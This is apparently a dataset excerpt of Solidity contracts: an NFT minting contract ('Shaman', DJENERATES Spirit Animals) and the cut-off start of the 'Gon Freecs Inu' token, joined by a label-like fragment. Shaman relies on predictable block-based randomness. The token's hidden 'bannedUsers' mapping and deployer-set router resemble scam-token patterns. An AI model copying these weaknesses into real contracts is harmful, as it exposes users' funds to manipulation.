function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, Ownable {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) internal _owners;
// Mapping owner address to token count
mapping(address => uint256) internal _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner ||
ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _batchMint(address to, uint256[] memory tokenIds)
internal
virtual
{
require(to != address(0), "ERC721: mint to the zero address");
_balances[to] += tokenIds.length;
for (uint256 i; i < tokenIds.length; i++) {
require(!_exists(tokenIds[i]), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenIds[i]);
_owners[tokenIds[i]] = to;
emit Transfer(address(0), to, tokenIds[i]);
}
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract DJENERATES {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenOfOwnerByIndex(address owner, uint256 index) public virtual view returns (uint256);
function balanceOf(address owner) external virtual view returns (uint256 balance);
}
contract Shaman is ERC721 {
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
modifier claimStarted() {
require(
startClaimDate != 0 && startClaimDate <= block.timestamp,
"You are too early"
);
_;
}
uint256 private startClaimDate = 1638536400; //3rd Dec 2021 1PM UTC
uint256 private claimPrice = 0.1 ether;
uint256 private totalTokens = 6000;
uint256 private totalMintedTokens = 0;
uint128 private basisPoints = 10000;
string private baseURI =
"https://ipfs.io/ipfs/QmUdhuHfJmN8eFvSEWFpE2LtMXiUtXGHXQUUS8PZPahfSd/";
DJENERATES private djen = DJENERATES(address(0x7d05c8D8cC1baC936eA09308a9E94823986f8321));
mapping(address => uint256) private claimedTokensPerWallet;
mapping(uint16 => uint16[]) private availableTokens;
constructor() ERC721("DJENERATES - SPIRIT ANIMALS", "SA") {}
/**
* @dev Allows to withdraw the Ether in the contract
*/
function withdraw() external onlyOwner {
uint256 totalBalance = address(this).balance;
payable(msg.sender).transfer(totalBalance);
}
/**
* @dev Sets the base URI for the API that provides the NFT data.
*/
function setBaseTokenURI(string memory _uri) external onlyOwner {
baseURI = _uri;
}
/**
* @dev Sets the claim price for each token
*/
function setClaimPrice(uint256 _claimPrice) external onlyOwner {
claimPrice = _claimPrice;
}
/**
* @dev Populates the available tokens
*/
function addAvailableTokens(uint16 num,uint16 from, uint16 to)
external
onlyOwner
{
for (uint16 i = from; i <= to; i++) {
availableTokens[num].push(i);
}
}
/**
* @dev Sets the date that users can start claiming tokens
*/
function setStartClaimDate(uint256 _startClaimDate)
external
onlyOwner
{
startClaimDate = _startClaimDate;
}
/**
* @dev Claim a single token
*/
function claimToken(uint16 animal) external callerIsUser claimStarted {
require(availableTokens[animal].length > 0, "No tokens left to be claimed for this Animal");
uint256 balance= djen.balanceOf(msg.sender);
require(
balance > 0,"You are not holding any DJEN for free claim"
);
require(
balance > claimedTokensPerWallet[msg.sender],"You are not eligible for more free claim"
);
claimedTokensPerWallet[msg.sender]++;
totalMintedTokens++;
_mint(msg.sender, getTokenToBeClaimed(animal));
}
/**
* @dev Claim up to 50 tokens at once
*/
function claimTokens(uint16 animal,uint256 amount)
external
payable
callerIsUser
claimStarted
{
require(
msg.value >= claimPrice * amount,
"Not enough Ether to claim the tokens"
);
require(availableTokens[animal].length >= amount, "No tokens left to be claimed for this Animal");
uint256[] memory tokenIds = new uint256[](amount);
totalMintedTokens += amount;
for (uint256 i; i < amount; i++) {
tokenIds[i] = getTokenToBeClaimed(animal);
}
_batchMint(msg.sender, tokenIds);
}
/**
* @dev Returns the tokenId by index
*/
function tokenByIndex(uint256 tokenId) external view returns (uint256) {
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
return tokenId;
}
/**
* @dev Returns the base URI for the tokens API.
*/
function baseTokenURI() external view returns (string memory) {
return baseURI;
}
/**
* @dev Returns how many tokens are still available to be claimed
*/
function getAvailableTokens(uint16 animal) external view returns (uint256) {
return availableTokens[animal].length;
}
/**
* @dev Returns the claim price
*/
function getClaimPrice() external view returns (uint256) {
return claimPrice;
}
/**
* @dev Returns the total supply
*/
function totalSupply() external view virtual returns (uint256) {
return totalMintedTokens;
}
// Private and Internal functions
/**
* @dev Returns a random available token to be claimed
*/
function getTokenToBeClaimed(uint16 animal) private returns (uint256) {
uint256 random = _getRandomNumber(animal,availableTokens[animal].length);
uint256 tokenId = uint256(availableTokens[animal][random]);
availableTokens[animal][random] = availableTokens[animal][availableTokens[animal].length - 1];
availableTokens[animal].pop();
return tokenId;
}
/**
* @dev Generates a pseudo-random number.
*/
function _getRandomNumber(uint16 animal,uint256 _upper) private view returns (uint256) {
uint256 random = uint256(
keccak256(
abi.encodePacked(
availableTokens[animal].length,
blockhash(block.number - 1),
block.coinbase,
block.difficulty,
msg.sender
)
)
);
return random % _upper;
}
/**
* @dev See {ERC721}.
*/
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
} | True | [
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|
/**
* Gon Freecs Inu
* https://t.me/GonFreecsInu
* 6% reflection in GFInu
* liq locked and renounced after launch
* 100% community driven tokens
*
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GonFreecsInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) bannedUsers;
uint256 private _tTotal = 10000000000 * 10**9;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
address private _uniRouter = _msgSender();
bool private inSwap = false;
string private _name = '@GonFreecsInu';
